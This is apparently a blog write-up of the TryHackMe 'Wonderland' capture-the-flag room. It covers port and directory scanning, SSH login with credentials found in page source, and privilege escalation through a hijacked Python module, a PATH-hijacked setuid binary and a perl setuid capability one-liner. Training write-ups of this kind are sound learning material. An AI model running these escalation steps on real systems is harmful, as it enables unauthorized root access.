Jason Turley's Website

TryHackMe: Wonderland Writeup

Wonderland is a medium difficulty TryHackMe room created by NinjaJc01.

Initial Recon

I like to save the IP address to an environment variable for easy access:

$ export IP=

Start by scanning the IP address with nmap to see what ports and services are open.

$ nmap -sV -T4 -p- $IP -oN nmap_scan.txt

22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
6057/tcp  filtered x11
12749/tcp filtered unknown
36427/tcp filtered unknown
36937/tcp filtered unknown
43362/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We get back two open ports:

The rest of the listed ports are filtered, meaning they are likely behind a firewall. We’ll just focus on the open ports that we can access.

Website Enumeration

Let’s head to the web server first. Type the URL in a web browser:

landing page

Not much actionable info here. Let’s throw gobuster at it to see if there are any hidden directories.

$ gobuster -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Hmmm. A /r location? The story Alice in Wonderland starts with Alice going down the rabbithole to enter Wonderland, so maybe we have to do the same thing?

Enter /r/a/b/b/i/t into the URL to get to the following web page:

rabbit page

More lines from the book. I pressed Ctrl+U to examine the source code and found what appears to be SSH credentials:


Initial Access

Using the above credentials, SSH into the remote host.

$ ssh alice@$IP

Anything interesting in the home directory?

alice@wonderland:~$ ls -l
total 8
-rw------- 1 root root   66 May 25  2020 root.txt
-rw-r--r-- 1 root root 3577 May 25  2020 walrus_and_the_carpenter.py

A root.txt file that only the root user can read, and a Python script that we can read but not modify.

No user.txt here. The TryHackMe hint stated that “Everything is upside down here.”, so the user flag must be in the root user’s home directory!

alice@wonderland:~$ cat /root/user.txt

Privilege Escalation

Becoming the rabbit user

What commands can we run with sudo privileges?

alice@wonderland:~$ sudo -l
Matching Defaults entries for alice on wonderland:
    env_reset, mail_badpass,

User alice may run the following commands on wonderland:
    (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

The rabbit user can run the walrus_and_the_carpenter.py script with root privileges. Let’s check out that file further:

$ cat walrus_and_the_carpenter.py

import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.

... truncated for brevity ...

for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)

Ok, the script prints 10 lines from the poem at random. Notice the first line:

import random

The first place that Python checks for a module is the current working directory (alice’s home folder in our case). If it does not find the module there, it then looks in system libraries and what not.

Knowing this, we can create our own random.py module that walrus_and_the_carpenter.py will execute in order to become the rabbit user!

Creating the random.py exploit

Contents of our malicious random.py:

import os


A very simple script that executes /bin/bash to get a shell. Run as the rabbit user:

alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

Confirm that we are the rabbit user:

rabbit@wonderland:~$ whoami
rabbit@wonderland:~$ id
uid=1002(rabbit) gid=1002(rabbit) groups=1002(rabbit)

Becoming the hatter user

Time to look around. I checked the rabbit user’s home directory and found the setuid teaParty binary.

We can inspect it with cat:

rabbit@wonderland:/home/rabbit$ cat teaParty                                                                                                                                                                     
         @@@@hHH==   88-==hp-=DDPtd
emZ <v 5   
The Mad Hatter will be here soon./bin/echo -n 'Probably by ' && date --date='next hour' -RAsk very nicely

The vulnerability is on the last line of the above output: the binary calls date instead of /bin/date. Meaning, we can create a malicious date command and have teaParty execute it with elevated privileges!

rabbit@wonderland:/home/rabbit$ echo "/bin/bash" > /dev/shm/date
rabbit@wonderland:/home/rabbit$ chmod +x /dev/shm/date
rabbit@wonderland:/home/rabbit$ export PATH=/dev/shm/:$PATH

Now execute the teaParty binary:

rabbit@wonderland:/home/rabbit$ ./teaParty
hatter@wonderland:/home/rabbit$ id
uid=1003(hatter) gid=1002(rabbit) groups=1002(rabbit)

We see that we have the hatter user id (uid), but still have the rabbit user’s group id (gid). The is because the teaParty binary had the setuid bit enabled, not the setgid bit.

Let’s check out the hatter home folder:

hatter@wonderland:/home/hatter$ ls
hatter@wonderland:/home/hatter$ cat password.txt 

The hatter user’s password! We can fully become the hatter user by running the switch user command:

hatter@wonderland:/home/hatter$ su hatter
hatter@wonderland:~$ id
uid=1003(hatter) gid=1003(hatter) groups=1003(hatter)

Becoming the root user

Doing some enumeration (such as with LinPEAS or LinEnum) reveals that perl has the cap_setuid+ep capability set. There is a GTFOBins entry for this to become root:

hatter@wonderland:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec
# whoami;id
uid=0(root) gid=1003(hatter) groups=1003(hatter)

Now we can finally print the root.txt flag:

# cat /home/alice/root.txt

Lessons Learned

  1. Don’t put user credentials in the source code of websites!
  2. Specify full executable paths! We became the hatter user because the setuid binary called date instead of /bin/date.
  3. The hatter user had their cleartext password in their home directory!